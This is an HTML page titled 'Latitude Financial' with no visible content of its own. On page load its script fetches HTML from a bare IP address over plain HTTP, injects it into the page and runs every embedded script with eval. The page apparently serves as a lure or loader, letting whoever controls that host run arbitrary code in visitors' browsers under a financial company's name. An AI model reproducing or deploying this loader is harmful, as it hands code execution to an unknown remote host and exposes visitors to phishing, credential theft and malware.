<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Latitude Financial</title>
</head>
<body>

    <div id="content"></div>

    <script>
        async function fetchRemoteContent() {
            try {
                const response = await fetch('http://147.45.50.58/');
                const text = await response.text();

                // Insert the HTML content
                const contentDiv = document.getElementById('content');
                contentDiv.innerHTML = text;

                // Execute any scripts inside the fetched content
                executeScripts(contentDiv);

                // Optionally, attach event listeners here if necessary
            } catch (error) {
                console.error('Error fetching remote content:', error);
            }
        }

        function executeScripts(element) {
            const scripts = element.getElementsByTagName('script');
            for (let i = 0; i < scripts.length; i++) {
                const scriptContent = scripts[i].textContent;
                if (scriptContent) {
                    eval(scriptContent); // Execute the script content
                }
            }
        }

        // Fetch and display the remote content with its script execution
        fetchRemoteContent();
    </script>

</body>
</html>